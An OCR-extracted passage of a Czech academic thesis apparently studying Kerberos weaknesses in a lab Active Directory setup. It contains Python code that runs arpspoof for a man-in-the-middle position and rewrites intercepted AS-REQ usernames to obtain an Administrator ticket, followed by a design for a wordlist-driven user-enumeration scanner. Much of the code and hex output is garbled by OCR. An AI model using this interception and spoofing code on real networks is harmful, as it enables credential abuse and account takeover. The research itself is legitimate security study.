6.3.1 Implementace manipulace

Prvnim krokem k provedeni ttoku typu man-in-the-middle (MITM) je pfesmérovani sit’ ové
komunikace mezi klientem a serverem skrze uto¢nikovu stanici. Vzhledem k omezenim
béZzné dostupnych vestavénych ndstroja, které Casto pracuji pouze s vychozi sit’ovou frontou,
bylo zvoleno alternativni feSeni. Konkrétné byl pouzit nastroj arpspoof, ktery manipuluje s
ARP protokolem tak, Ze se uto¢nik prezentuje v siti jako legitimni brdna, ¢imZ doséhne pre-

smérovani provozu z klienta i serveru pres své zarizeni.

Timto zplisobem vSak dochazi pouze k zachyceni paketl — nikoliv k jejich dal$imu pre-
posilani. Aby bylo moZné zajistit prichod komunikace mezi klientem a serverem, je nutné
povolit tzv. IP forwarding, tedy smérovani paketd na trovni jadra operac¢niho systému. Toho

se dosahuje zménou systémové proménné ip_forward na hodnotu 1.

Nésledujicim krokem je vytvoreni sit’ové fronty, do niZ budou pfesmérovany vSechny pa-
kety, a kterda umozni jejich modifikaci, filtrovani nebo schvaleni. Pro tento tcel byla zvolena
knihovna NFqueue, kterd slouZi jako rozhrani mezi jddrem systému a uZivatelskym prosto-
rem. Konkrétni pfesmérovani paketd do této fronty bylo provedeno pomoci pravidel iptables.
Nize je uvedena ukazka implementace, kterd demonstruje praktické vyuziti popsaného po-

stupu.

os.system("echo ’1’ > /proc/sys/net/ipv4/ip_forward")

> os.system("iptables -F")
3 os.system("iptables -F -t nat")

os.system("iptables -A FORWARD -j NFQUEUE --queue-num 0")

os.system("arpspoof -i " + sys.argv[4] + " " + sys.argv[1] + " -t " +
sys.argv[2] + "> /dev/null 2>&1 &")
os.system("arpspoof -i " + sys.argv[4] + " " + sys.argv[2] + " -t " +

sys.argv[1] + "> /dev/null 2>&1 &")

Vypis 6.3.1 Zapindni preposilani, Nastaveni iptables a spusténi MITM udtoku pomoci
ndstroje arpspoof
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nf_queue = NetfilterQueue ()

nf_queue.bind (0, edit_packet)

try:
nf_queue.run ()

except KeyboardInterrupt:
os.system("iptables -F")
os.system("iptables -F -t nat")

nf_queue.unbind ()

Vypis 6.3.2 Nastaveni instance NFqueue

U NFqueue je nutné pomoci metody bind, nastavit queue number jako prvni parametr,
coz definuje label fronty do, které zprava zapande a funkci, kterd se budou packety zpra-
covavat, coz je editpacket. Pomoci metody run se spusti nekonecna smycka v try exception
bloku, jelikoZ se miiZe stat, Ze pri zpracovani ve funkci editpacket nastane chyba. Nyni mam
pripravené vse, co potfebuji na manipulaci a mizu zacit analyzovat zpravy a identifikovat
relevantni packety. Nejprve vyuZziju knihovny scapy na interpretaci hlavi¢ek linkové, sit’ ové
a transportni vrstvy. Ty budu vyuzivat pozdéji pti rekonstrukci zpravy s modifikovanym ob-

sahem.

def edit_packet (packet): # main function which is called when data is
recieved
ip_packet = scapy.IP(packet.get_payload())
ip_src = ip_packet[scapy.IP].src
ip_dst = ip_packet[scapy.IP].dst
if ip_src == sys.argv[1l]: # any traffic from the server doesn’t
need to be inspected or modified

packet.accept ()
return

if ip_packet.haslayer(scapy.Raw) and ip_packet.haslayer (scapy.TCP)
and ip_src == sys.argv[2]:

raw_data = ip_packet[scapy.Raw].load

check, msg_t = is_kerberos(raw_data)

Vypis 6.3.3 Nacitani zpravy a filtrovani pomoci knihovny scapy

Nejprve musim vyfiltrovat pouze zpravy, které zac¢inaji od klienta. Cokoliv, co obsahuje
zdrojovou ip adresu serveru, nechdm projit, jelikoZ mé zatim nezajimaji. Pokud obsahuje
zdrojovou adresu klienta, tak mé zajima4, jestli to ndhodou neni Kerberos zprava. K tomu mi

slouzi funkce is_kerberos, kterd vypada nasledovné:
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i def is_kerberos(raw_data): #function which tests if this message is a
keberos AS message
if len(raw_data) < 9:
return False, 0 # Not enough data to be a Kerberos message

if raw_data[0:2] != b’\x00\x00’:
return False, 0 # Usually not a Kerberos message

if raw_datal[4:6] == b’\x6a\x82’:
return True, 1 # Type 2 message
0 elif raw_datal[4:6] == b’\x6a\x817:
I return True, 2 # Type 1 message

else:
return False, O

Vypis 6.3.4 Funkce is_kerberos

K lepSimu pochopeni bude nutné si rozebrat bajty pomoci, kterych chci zpravu identifi-
kovat. Prostfednictvim jiZ zachycenych zprav, na kterych jsem ukazoval strukturu protokolu

Kerberos, si mtizu odvodit, jak ma zprava vypadat. Nejprve se zaméfim na pole record len-

gth.
Protocol Length Info
SMB2 295 Session
SMB2 333 Session
KRBS 266 AS-REQ
KRBS 221 KRB Errc
KRBS 346 AS-REQ
KRBS 62 AS-REP
KRBS 1447 TGS-REQ
KRBS 1479 TGS-REP
KRBS 153 TGS-REQ
KRBS 127 TGS-REP

Obrazek 6.3.1 Délky packetd zprav kerberos

@4 02 93 ac 00 00 QO 00 00 e2 6a 81 df 30 81 dc
al 03 02 01 05 a2 03 02 01 Pa a3 15 30 13 30 11

Obrazek 6.3.2 Identifikacni bajty zpravy Kerberos

Nejprve se podivam, jestli payload méa aspon néjakou rozumnou délku. Potom se podivam
na pole record lenght (oznaceno fialovou barvou), a to specificky na prvni dva bajty. Z délek
packetli tomu tak urcité neni, a payload je jednoznacné mensi nez 3 bajty, tudiZ musi byt

prvni dva nulové. Nésledné se podivam na identifikacni bajty, které ndsleduji za polem
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record lenght (oznacené Zlutou barvou). RozliSuje dvé varianty, a to zprav, a to zpravu s

Sifrovanym Casovym razitkem a zpravu bez Casového razitka.

Frame 3460: 266 bytes on wire (21
Ethernet II, Src: PcsCompu 66:4f:

(0] 04 02 abl ec OG0 GO 00 00 00 do 6a 81 cd 30 81 ca

0
Internet Protocol Version 4, Src: 005C

0

@

al 03 02 01 05 a2 03 02 01 Ga a3 15 30 13 30 11
al 04 02 02 OO0 80 a2 09 @4 07 30 05 a® 03 01 ©1
ff a4 81 a6 30 81 a3 a®@ 07 03 05 00 40 81 00 10
al 11 30 of a@ 03 82 01 ©1 al 08 30 06 1b 04 75

i v v v -

Transmission Control Protocol, Sr
Kerberos

» Record Mark: 208 bytes 0080 73 65 72 a2 06 1b 84 54 45 53 54 a3 19 30 17 a@
0O99 03 02 01 02 al 10 30 e 1b 86 6b 72 62 74 67 74
pvno: 5 00a® 1b 04 54 45 53 54 a5 11 18 of EENECNEENETMECNEE
msg-type: krb-as-req (10) 00be ENBEERECREFIEVEEERECRERIGE] a6 11 18 0f 32 30 33

- padata: 1 item OOcO 37 30 39 31 33 30 32 34 38 30 35 5a a7 06 02 04

» PA-DATA pA-PAC-REQUEST
» req-body

Oe 78 b5 91 a8 15 30 13 02 01 12 02 01 11 02 01
17 02 01 18 02 02 ff 79 02 01 03 a9 1d 30 1b 30
19 ad 03 02 @1 14 al 12 04 10 44 45 53 4b 54 4f
” F 50 2d 32 50 55 4f 34 33 54 20

Obrazek 6.3.3 Kerberos AS_REQ bez Sifrovaného ¢asového razitka

» Frame 3474: 346 bytes on wire (27
» Ethernet II, Src: PcsCompu_66:4f:
» Internet Protocol Version 4, Src:
» Transmission Control Protocol, Sr
- Kerberos

04 02 1b a5 00 00 00 0@ 01 20 6a 82 01 1c 30 82
01 18 al 03 02 01 05 a2 03 02 01 Pa a3 63 30 61
30 4c al 03 02 01 02 a2 45 04 43 30 41 a0 03 02
01 12 a2 3a 04 38 e9 b4 hc 7e 70 bf bf 82 63 27
24 cO f7 f1 d7 c5 e®@ 4a h8 22 4f 4a ec 7f 22 d1
» Record Mark: 288 bytes fa b4 89 43 59 27 71 72 0f 11 a8 53 10 b7 dd be

2d 9b B¢ 16 30 59 af 84 6F 2b 85 63 28 55 30 11

pvno: 5 00a0 al 04 02 02 00 80 a2 09 04 07 30 05 a0 03 01 01

msg-type: krb-as-req (10) 0ebe

- padata: 2 items 00co

+ PA-DATA pA-ENC-TIMESTAMP 00do

+ PA-DATA pA-PAC-REQUEST 00e0

» req-body oefe

; - 0100

Obrazek 6.3.4 Kerberos AS_REQ s casovym razitkem

Na zdkladé toho vracim 3 stavy, pokud se na bajtech nachdzi Ox6a 0x81, tak se jedna
o zpravu bez Casového razitka. Pokud ovSem identifika¢ni bajty obsahuji 0x6a 0x82 tak se
jedna o autentifikovanou zpravu. Je nutné podotknout, Ze tyto zpravy budou mit rozdilné off-
sety vSech poli, tudiZ pfi implementaci bylo nutné zohlednit tyto zmény. Nutno podotknout,
7Ze pri kazdém vyzadani TGT se klient nejprve pokusi Zadat bez ovéreni.

DalSim krokem je interpretace relevantnich poli, abych védél néjaké zédkladni udaje o
zpravé. Pokud se jednd o zprdvu, tak nejprve musim zahodit zpravu, jelikoZ se budou po-
silat modifikované ze strany dtoc¢nika. Nasledné se pomoci offsetii dostanu k polim, které

potiebuji interpretovat.
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1 elif msg_t == 2:

2 print (20% "-")

print ("Kerberos message without Authentication")
record_lenght = get_record_lenght (raw_datal[:4])

oW

5 pvno_offset = 4 + 3 + 7 #record lenght + identitifaction +
specific offset

6 print ("Protocol version: ", raw_datal[pvno_offset])

7 krb_msg_type_offset = pvno_offset + byte_skip + 1

8 print ("Message Type: ", kerberos_message_types.get(raw_datal
krb_msg_type_offset], "Unknown")) req_body_offset =

krb_msg_type_offset + byte_skip + 19 + 3 #Described + Described +
PA data taken from wireshark intercepted message + extra pad

9 req_body_header = krb_msg_type_offset + byte_skip + 19

10 padding_offset = req_body_offset + 7 + 1# specific skip again

1 cname_offset = padding_offset + 4

12 name_type = cname_offset + 6 + 2 + 1

13 print ("Name Type: ", cname_name_types.get(raw_datal[name_typel, "
Unknown"))

14 cname_string_offset = name_type + 4

15 string_lenght_offset = cname_string_offset + 2 #1b before

16 string_lenght = raw_datalstring_lenght_offset]

17 principal_name = raw_datalstring_lenght_offset + 1:
string_lenght_offset + string_lenght + 1].decode(’ascii’)

18 print ("Device authenticating as: ", principal_name)

Vypis 6.3.5 Intepretace relevatnich poli AS-REQ pozadavku - Bez ¢asového razitka

1 if check:

2 packet .drop ()

3 if msg_t == 1:

4 print (20% "-")

5 print ("Kerberos message with Authentication")

6 record_lenght = get_record_lenght(raw_datal[:4])

7 pvno_offset = 4 + 4 + 8 #record lenght + identitifaction +
specific offset

$ print ("Protocol version: ", raw_data[pvno_offset])

9 krb_msg_type_offset = pvno_offset + byte_skip + 1

10 print ("Message Type: ", kerberos_message_types.get(raw_datal

krb_msg_type_offset], "Unknown"))
1 req_body_offset = krb_msg_type_offset + byte_skip + 97 + 3 #
Described + Described + PA data taken from wireshark intercepted
message + extra pad

req_body_header = krb_msg_type_offset + byte_skip + 97
13 padding_offset = req_body_offset + 7 + 1 #specific skip again

14 cname_offset = padding_offset + 4

15 name_type = cname_offset + 6 + 2 + 1

16 detected_type = cname_name_types.get(raw_datal[name_typel)

17 if (detected_type == Nomne):

18 req_body_offset = krb_msg_type_offset + byte_skip + 93 + 3

19 req_body_header = krb_msg_type_offset + byte_skip + 93

20 padding_offset = req_body_offset + 7 + 1

21 cname_offset = padding_offset + 4

22 name_type = cname_offset + 6 + 2 + 1

23 detected_type = cname_name_types.get(raw_data[name_type])

24 print ("Name Type: ", detected_type)

25 cname_string_offset = name_type + 4

26 string_lenght _offset = cname_string_offset + 2

27 string_lenght = raw_datalstring_lenght_offset]

28 principal_name = raw_datal[string_lenght_offset + 1:
string_lenght_offset + string_lenght + 1].decode(’ascii’)

29 print ("Device authenticating as: ", principal_name)

Vypis 6.3.6 Intepretace relevatnich poli AS-REQ pozadavku s casovym razitkem
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Tyto pozice jsou presné v zavislosti na typu zpravy. Nejprve na jako prvni je PVNO coz
znaci verzi protokolu Kerberos. Jako dal$i vyznamny je typ zprdvy, ktery je na obrdzku vy-
znaceny jako message type. Tyto hodnoty jsou dle dokumentace mapovany do slovniku. V
tomto programu nepotfebuji manipulovat Zzadnym zptusobem s dodate¢nymi daty PA-DATA
tudiz tato sekce je preskoCend a zaméfim se na posledni relevantni pole a to Cname. Nej-
prve interpretuji name type, ktery je také mapovan do slovniku stejnym zptisobem jako typ
zpravy. Nésledné Cervenym bajtem je znacena délka cname pole, kde je obsaZeno jméno

prihlasujiciho se uZzivatele. Pfesné pozice jsou vyznaceny nasledovné:

04 02 c1 of 00 00 00 GO 00 do 6a 81 cd 30 81 ca j--0
al 63 62 01 05 a2 63 02 01 @Qa a3 15 30 13 30 11 00
al 04 02 02 00 80 a2 09 04 07 30 05 a® 03 01 01 0]

ff a4 81 a6 30 81 a3 a® ©7 03 05 00 40 81 00 10 0] @

al 11 30 of a®@ 03 02 @1 ©1 al 08 30 06 1b Q4 .75 0] 0] u
73 65 72 a2 06 1b 04 54 45 53 54 a3 19 30 17 ao ser T EST: -0
03 02 01 02 al 10 30 Ge 1b 06 6b 72 62 74 67 74 0] krbtgt
1b 04 54 45 53 54 a5 11 18 of 32 30 33 37 30 39 TEST 203709

31 33 30 32 34 38 30 35 b5a a6 11 18 Of 32 30 33 13024805 Z 203
37 30 39 31 33 30 32 34 38 30 35 5a a7 06 02 04 70913024 805Z

16 f7 3e 52 a8 15 30 13 02 01 12 602 01 11 02 01 >R -0

17 02 01 18 02 02 ff 79 ©2 01 ©3 a9 1d 30 1b 30 v 0-0

Obrazek 6.3.5 Pozice interpretovanych bajtii v raw reprezentaci wiresharku

Zelena - verze protokolu Kerberos,

Modré - typ zprévy,

Zluté - typ jména,

Fialova - délka jména,
« Cervend - uzivatelské jméno.
Za béhu programu pak vypisuji kazdou zaznamenanou zpravu. Tim je jasné vidét, o jakou
zpravu se jednd a kdo se pokousi z klienta autentifikovat. Vypis zprav pro obé verze vypadd

nasledovné:
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REQ
NT PRINCIPAL

Lcating

with Authentication

E

REQ
3 NT PRINCIPAL
icating as:

Obrazek 6.3.6 Vystup z programu

Predposlednim krokem a tim nejndro¢néjSim krokem je samotna rekonstrukce zpravy. Pri
rekonstrukci bylo nutné, aby obecnd struktura zpravy byla dle specifikace a idedlné vypa-
dala jako piivodni zprava. Na tento krok jsem vyuzil metodu wrpcap knihovny scapy, ktera
dokéaZe rekonstruovanou zpravu vypsat do formdtu pcap, ktery je mozné otevfit v programu
wireshark. Pokud zprava nebude rozpoznatelnd, nebude moci wireshark tyto data zpraco-
vat nebo upozorni, Ze packet je malformovany. Samotnd rekonstrukce vypada nasledujicim

zpusobem:

#edit the message will auth as auth_as
new_len = len(auth_as) - string_lenght

; #what 1is this magic??

N

tmp_holder = raw_datal[7] + new_len

raw_data = raw_datal[:7] + tmp_holder.to_bytes(l, byteorder=’big’) +
raw_data[8:]

tmp_holder = raw_data[11] + new_len

7 raw_data = raw_datal[:11] + tmp_holder.to_bytes(l, byteorder=’big’) +

raw_data[12:]

tmp_holder = raw_datalreq_body_offset+3] + new_len

raw_data = raw_data[:req_body_offset+3] + tmp_holder.to_bytes (1,
byteorder=’big’) + raw_datalreq_body_offset+4:]

tmp_holder = raw_datalreq_body_header+3] + new_len

raw_data = raw_datal[:req_body_header+3] + tmp_holder.to_bytes (1,
byteorder=’big’) + raw_datalreq_body_header+4:]

> tmp_holder = raw_datal[cname_offset+2] + new_len
s raw_data = raw_datal[:cname_offset+2] + tmp_holder.to_bytes (1,

byteorder=’big’) + raw_datal[cname_offset+3:]

tmp_holder = raw_datalcname_offset+4] + new_len

raw_data = raw_datal[:cname_offset+4] + tmp_holder.to_bytes (1,
byteorder=’big’) + raw_datal[cname_offset+5:]
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tmp_holder = raw_datalcname_offset+11] + new_len

7 raw_data = raw_datal[:cname_offset+11] + tmp_holder.to_bytes (1,

byteorder=’big’) + raw_datal[cname_offset+12:]

tmp_holder = raw_datal[cname_offset+13] + new_len

raw_data = raw_datal[:cname_offset+13] + tmp_holder.to_bytes (1,
byteorder=’big’) + raw_datalcname_offset+14:]

0 raw_data = raw_datal:string_lenght_offset] + len(auth_as).to_bytes (1,

byteorder=’big’) + raw_datalstring_lenght_offset+1:]

2 raw_data = raw_datal:string_lenght_offset + 1] + auth_as.encode(’ascii

>) + raw_datal[string_lenght_offset + string_lenght + 1:]

> new_data_lenght = len(raw_data) - 4
5 raw_data = struct.pack(’!I’, new_data_lenght) + raw_datal[4:]

Vypis 6.3.7 Rekonstrukce zpravy s modifikovanym uzivatelskym jménem

Jako v interpretaci bylo nutné zménit specifické bajty ve zprave, a to predevsim v identi-
fikacnich polich, record lenght a délky stringu. VSechny relevantni bajty jsou vyznacené na
nasledujicim obrazku. Na obrazku je extra vyznacené pole pro typ jména. Ten muze byt také
relevantni, pokud misto uzivatele chci podhodit jméno sluzby, tam sta¢i zménit bajt na této
pozici.

ook cl Of 00 00 Q0 G0 00 _do 6a 81 cd 30 81 ca
al 03 02 01 05 a2 03 02 01 Pa a3 15 30 13 30 11
al 04 02 02 OO0 80 a2 09 04 O7 30 05 ab 03 01 61
ff a4 81 a6 30 81 a3 a®@ 07 03 05 OO0 40 81 00 10

al 11 30 Of a0 03 02 01 ©1 al 08 30 06 1b 04 75
[3 65 72 a2 06 1b 04 54 45 53 54 a3 19 30 17 a0

Obrazek 6.3.7 Interpretované bajty, které je nutno zménit pro uspéSnou rekonstrukci
(Cervené vyznacené jméno uZzivatele se miize ménit podle odchycené zpravy)

o Cerveni - pole RecordLenght,

Zluté - bajty délek, které je nutné zménit,

Zelena - hlavicka pole CNAME (neméni se),

* Fialova - typ jména (neméni se),
* Modri - bajty uZivatelského jména.

Poslednim krokem je nahradit pivodni payload modifikovanym a nédsledné poslat zpravu
na server. V tomto kroku je nutné piebrat origindlni hodnoty z pivodnich hlavicek sitové a
transportni vrstvy, aby se odpovéd’ na zprdvu zaslala zpatky na klienta, ktery se pokousi au-
tentifikovat. Vysledkem je modifikovand zprava, kterd je zasldna na server. Pro demonstraci
se budu na klientovi autentifikovat jakymkoliv fetézcem, a pfitom zaddm heslo pro ucet

administratora. Nasledné na strané uto¢nika zménim autentifikaCni jméno na administrator.
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Vysledkem je ndsledujici konverzace:

277 AS-REQ
192.168.56.124 1982.168.56.152 KRB5 230 KRB Error: KRB5KDC _ERR_PREAUTH_REQUIRED
1982.168.56.152 1982.168.56.124 KRB5 357 AS-REQ
1982.168.56.124 182.168.56.152 KRB5 197 KRB Error: KRB5KDC _ERR_PREAUTH_FAILED
192.168.56.152 192.168.56.124 KRBS5 277 AS-REQ
192.168.56.124 192.168.56.152 KRBS5 230 KRB Error: KRB5KDC_ERR_PREAUTH_REQUIRED
192.168.56.152 192.168.56.124 KRBS5 357 AS-REQ
192.168.56.124 192.168.56.152 KRBS5 1605 AS-REP
192.168.56.152 192.168.56.124 KRBS5 1521 TGS-REQ
192.168.56.124 192.168.56.152 KRBS5 1593 TGS-REP
192.168.56.152 192.168.56.124 KRBS5 1687 TGS-REQ
192.168.56.124 192.168.56.152 KRB5 1701 TGS-REP

Obrazek 6.3.8 Konverzace mezi klientem a serverem AD

.635322002 192.1 . 1 1 . .56.1 277 AS-REQ

132 26.665370428 192.168.56.124 192.168.56.152 KRB5 230 KRB Error: KRB5KDC_ERR_PREAUTH_REQUIRED
| 143 26. 707724442 192.168.56.152 192.168.56.124 KRB5 357 AS-REQ
i 146 26. 728795391 192.168.56.124 192.168.56.152 KRB5 1605 AS-REP
i 162 26. 746041482 192.168.56.152 192.168.56.124 KRB5 1521 TGS-REQ
i 168 26.747213188 192.168.56.124 192.168.56.152 KRB5 1593 TGS-REP
3 226 26.825190187 192.168.56.152 192.168.56.124 KRB5 1687 TGS-REQ
3 232 26.826737629 192.168.56.124 192.168.56.152 KRB5 1701 TGS-REP
3 238 26.827780790 192.168.56.152 192.168.56.124 DCERPC 2002 Alter_context: call _id: 4, Fragment: Single,
! 248 26.828838845 192.168.56.124 192.168.56.152 DCERPC 310 Alter_context_resp: call_id: 4, Fragment: Sir
3 250 26.829314726 192.168.56.152 192.168.56.124 DCERPC 274 Alter_context: call_id: 4, Fragment: Single,
312 27.167773134 192.168.56.152 192.168.56.124 LDAP 1855 bindRequest(36) "<R0OOT>" sasl
317 27.168812449 192.168.56.124 192.168.56.152 LDAP 264 bindResponse(36) success
335 27.307798193 192.168.56.152 192.168.56.124 LDAP 1937 bindRequest(4@) "<R0OOT>" sasl
340 27.30908759¢ 192.168.56.124 192.168.56.152 LDAP 264 bindResponse(4@) success =

3
00 27 9d 5¢c e7 08 00 27 66 4F 96 08 00 45 @@ AT
@7 b8 9a 40 0O 80 06 4e 1 c@ a8 38 98 c@ a8 ceee@e -
7c e5 86 00 58 3b 03 ea fd 4c dd c1 66 50 18 8| --X;
82 ab 3f 00 0@ @0 @0 00 db 6a 81 d8 30 81 d5 .
03 02 01 05 a2 03 02 01 @a a3 15 30 13 30 11 - ------
04 02 02 00 80 a2 @9 04 07 30 @5 a® @3 @1 @1 -

Frame 128: 277 bytes on wire (2216 bits), 277 bytes captured ~
Ethernet II, Src: PcsCompu_66:4f:96 (08:00:27:66:47:96), Dst:
Internet Protocol Version 4, Src: 192.168.56.152, Dst: 192.16¢
Transmission Control Protocol, Src Port: 58758, Dst Port: 88,
Kerberos

v Record Mark: 219 bytes

- as-req a4 81 bl 30 81 ae a0 07 03 05 00 40 81 @0 18 - O -
pun: 5 LwmmsEo gnmenL o
. a a a a wirioqj
. ’"Sg'iy’fsi 'f?’"“s'req (10) 04 54 45 53 54 a3 19 30 17 a0 03 02 01 02 a1 - -TEST
padata: 1 item 30 @e 1b @6 6b 72 62 74 67 74 1b 04 54 45 53  -Q- - -kr
- req-body a5 11 18 @f 32 30 33 37 30 39 31 33 30 32 34 T --.20
Padding: © 30 35 5a a6 11 18 Of 32 30 33 37 30 39 31 33 8057 - -
v kdc-options: 40810010 32 34 38 30 35 5a a7 06 02 04 69 ee 50 4b a8  024805Z
~ cname oge@ 15 30 13 02 01 02 01 11 02 01 17 02 01 18 62 -0 -
name-type: KRB5-NT-PRINCIPAL (1) fFf 79 02 01 83 a9 1d 30 1b 30 19 a0 03 02 @1 -y - -
~ cname-string: 1 item al 12 @4 10 44 45 53 4b 54 4f 50 2d 32 58 55 .- DE
CNameString: gqwjriogjwrioqjw H—f 34 33 54 20 043T
realm: TEST
~ sname
name-type: KRB5-NT-SRV-INST (2) =
( Y[ b
() 7 Bvte 229: ENCTYPE (kerberos.ENCTYPE) Packets: 1044 - Displaved: 26 (2.5%) Profile: Default

Obrazek 6.3.9 Autentifikacni zprdva klienta
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129 26.635322002 1592.168.56.152 192.168.56.124 KRBS 277 AS-REQ

132 26.665370428 182.168.56.124 192.168.56.152 KRB5 230 KRB Error: KRB5KDC_ERR_PREAUTH_REQUIRED
143 26.707724442 192.168.56.152 192.168.56.124 KRB5 357 AS-REQ
. 728795391 ol o ElEs 1605 AS-REP
! 162 26.746041482 192.168.56.152 192.168.56.124 KRBS 1521 TGS-REQ
i 168 26.747213188 192.168.56.124 192.168.56.152 KRBS 1593 TGS-REP
i 226 26.825190187 192.168.56.152 192.168.56.124 KRBS 1687 TGS-REQ
i 232 26.826737629 192.168.56.124 192.168.56.152 KRB5 1701 TGS-REP
i 238 26.827780790 1892.168.56.152 192.168.56.124 DCERPC 2002 Alter_context: call _id: 4, Fragment: Single,
248 26.828838845 192.168.56.124 192.168.56.152 DCERPC 310 Alter_context_resp: call_id: 4, Fragment: Sir
250 26.829314726 192.168.56.152 192.168.56.124 DCERPC 274 Alter_context: call_id: 4, Fragment: Single,
312 27.167773134 192.168.56.152 192.168.56.124 LDAP 1855 bindRequest(36) "<ROOT=" sasl
317 27.168812449 192.168.56.124 192.168.56.152 LDAP 264 bindResponse(36) success
335 27.307798193 192.168.56.152 192.168.56.124 LDAP 1937 bindRequest(4@) "<R0OT>" sasl
340 27.30908759¢ 192.168.56.124 192.168.56.152 LDAP 264 bindResponse(4@) success =}

»
08 00 27 9d 5c e7 08 00 27 6b e3 75 08 0@ 45 00 LAY
@6 37 11 12 4@ @0 80 06 f1 49 c@ a8 38 7c c@ a8 SFe@e
38 98 00 58 e5 87 19 04 5f 36 82 19 3d bb 50 18 8 -X--
01 0 8 8e 0@ @O @0 0 @6 0b 6b 82 @6 @7 3@ 82 - - .-
06 03 a0 03 02 01 05 a1 03 02 01 @b a2 2e 3@ 2c - - -
30 2a al 03 02 01 13 a2 23 04 21 30 1f 3@ 1d a@ @* - - -
al 16 1b 14 54 45 53 54 2e 43 5a 41 - - - -
69 73 74 72 61 74 6f 72 a3 09 1b @7  dminis
2e 43 5a a4 la 30 18 a0 03 02 01 @1 TEST.(
1b 0d 41 64 6d 69 6e 68 73 74 72 61 @
82 04 49 61 82 04 45 30 82 04 41 a@ tor- .-
al 09 1b 87 54 45 53 54 2e 43 5a a2 - - -
03 02 @1 02 al 13 3@ 11 1b 06 6b 72 Q-

Frame 146: 1605 bytes on wire (12840 bits), 1605 bytes captured 0000
Ethernet II, Src: PcsCompu_6b:e3:75 (08:00:27:6b:e3:75), Dst: P |
Internet Protocol Version 4, Src: 192.168.56.124, Dst: 192.168. €
Transmission Control Protocol, Src Port: 88, Dst Port: 58759, S !
Kerberos :
v Record Mark: 1547 bytes
~ as-rep
pvno: 5
msg-type: krb-as-rep (11)
padata: 1 item
crealm: TEST.CZ
> cname
name-type: kRBS-NT-PRINCIPAL (1) ‘ 1b 07 54 45 53 54 2e 43 5a a3 82 04  btgt-
~ cname-string: 1 item oped  Of 30 82 04 0Ob a@ 03 02 @1 12 al 03 02 01 02 a2 -0 - -

CNameString: Administrator 00Ffe 82 03

v ticket e100

» enc-part o110

0120

0130

0140

1 LR} I
() 7 Bytes 247-1263: cipher (kerberos.cipher) Packets: 2358 - Displayed: 37 (1.6%) Profile: Default

Obrazek 6.3.10 Odpovéd’ na podhozenou zpravu od serveru

Jak je viditelné, tak server odpovédél. Toto chovani se dalo predpoklddat, jelikoZ auten-
tifikacni zpradvy nemaji Zddné ovéreni integrity. OvSem na strané klienta je pozoruhodné, Ze
systém absolutné ignoruje fakt, Ze server mu poslal ticket pro jiny ucet, nez ktery pozado-
val. To ovSem plati pouze za predpokladu, Ze uZivatel zad4 spravné heslo pro ucet, ktery je

podhazen.
6.4 Skenovani pomoci Kerberos protokolu

V navaznosti na zjisténi, zZe server odpovida na podhozené zpravy, mé privedlo na nipad

udélat scanner na uzivatelské ucty. Jedna se o jednoduchy koncept, ktery vyuziva autentifi-

kacnich zprav pro zjisténi, jestli uZivatel existuje nebo nikoliv.

Tento koncept spoc¢ivd v ndsledujicim mechanismu. Pfi autentifikaci nejprve klient navdze
spojeni se serverem pomoci TCP handshaku. Po jeho dokonceni uZivatel zasle AS_REQ na
server s tim, Ze se chce autentifikovat vici serveru AD. Z pohledu serveru miiZou nastat
nasledujici situace:

* Server nerozpoznd uZzivatelské jméno nebo nemd jméno v databézi.
» Server uZivatelské jméno rozpozna, ale potiebuje po uzivateli predautentifikacni data.

s sV

» Server uZivatelské jméno rozpoznd, ale uzivatelsky ucet je vypnut.
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 Server uzivatelské jméno rozpozna a nepotiebuje dalsi data.

Pokud neni uZivatelské jméno rozpoznéno, tak server odpovi zprdvou KRB_ERROR s
kédem KDC_ERR_C_PRINCIPAL_UNKNOWN. To znamen4, Ze uzivatel s timto uziva-
telskym jménem nema v této doméné ucet. Pokud je ovS§em jméno rozpoznano, tak server
muzZe odpoveédét tfemi zpusoby. Pokud server poZzaduje predautentifikacni data tak server od-
povi zpravou KRB_ERROR s kédem KDC_ERR_PREAUTH_REQUIRED. V tuto chvili
je jasné, Ze server uzivatele znd a pozaduje dodateCna data. Pokud je dany uzivatelsky ucet
vypnuty, tak server znovu pouzije zpravu KRB_ERROR ovsem s kédem
KDC_ERR_CLIENT_REVOKED. To znamen4, Ze tcet je jiZ nepouZzitelny. OvSem infor-
mace je utocnikovy uZzitecnd, jelikoz pokud byl tento uzivatel nékde ptfihlasen, tak je mozZné
se na tohoto klienta pomoci jeho uctu prihlésit. Pokud mé uzivatel vypnutou predautentifi-
kaci tak server odpovi server pomoci AS_REP. V tomto pfipadé uZivatel také existuje a také

mame z odpovédi dostupny zaSifrovany ticket, ktery mu server vystavil.

6.4.1 Implementace skenovani

Jak jsem jiz zminil, tak koncept skenovani je zaloZeno na skenovani pomoci autentifikanich
zprav AS_REQ. K tomu, abych mohl takovou zpravu sestrojit, je nutné sestrojit takovouto
zpravu tak, aby ji mohl server rozpoznat a precist. Pomoci knihovny scapy je mozné jedno-
duse sestrojit zpravu az po transportni vrstvu, oviem neni moznost si vytvofit data protokolu
Kerberos. Proto bylo nutné nejprve adaptovat manipulacni ndstroj, ktery je nazvan Kerb-
Capture.py. Tento ndstroj vyuziva implementaci manipulace a MiTM udtoku, ovSem pouze

zachovava data aplikacni vrstvy. Ty ndsledné uklada do souborti v aktudlnim adresari.

def capture_message (packet):
ip_packet = scapy.IP(packet.get_payload())
ip_src = ip_packet[scapy.IP].src
ip_dst = ip_packet[scapy.IP].dst
if ip_src == sys.argv[1]: # any traffic from the server doesn’t
need to be inspected or modified
packet.accept ()

return
if ip_packet.haslayer(scapy.Raw) and ip_packet.haslayer (scapy.TCP)
and ip_src == sys.argv[2]:
raw_data = ip_packet[scapy.Raw].load
check, msg_t = is_kerberos(raw_data)
if check:#don’t care since i only need the messag
if msg_t == 2:
print ("capturing non auth message")
file = open(f"captured_message","wb")

file.write(raw_data)
file.close ()
if msg_t == 1:
print ("capturing auth message")
file = open(f"captured_message_auth","wb")
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file.write(raw_data)
file.close ()
else:
print (f"Message type {msg_tl}")
packet.accept ()
return
else: #anything that isn’t a kerberos message gets passed
packet.accept ()
return
else:
packet.accept ()

return
return

Vypis 6.4.1 Implementace adaptovaného nastroje pro sbér Kerberos zprav

Nasledné tato data vyuZiji ve skenovacim ndstroji k tomu, abych se mohl autentifikovat

serveru. Ten je realizovan pomoci KerbScanList.py, ktery vyzaduje nésledujici parametry:

Zdrojovou IP adresu - adresu klienta ze kterého je scanner spustén

Cilovou IP adresu - adresu AD serveru nebo KDC

Kerberos data - raw data, které byly vyexportované z nastroje KerbCapture.py

Wordlist - seznam uZivatelskych jsem, které maji byt vyzkouSeny

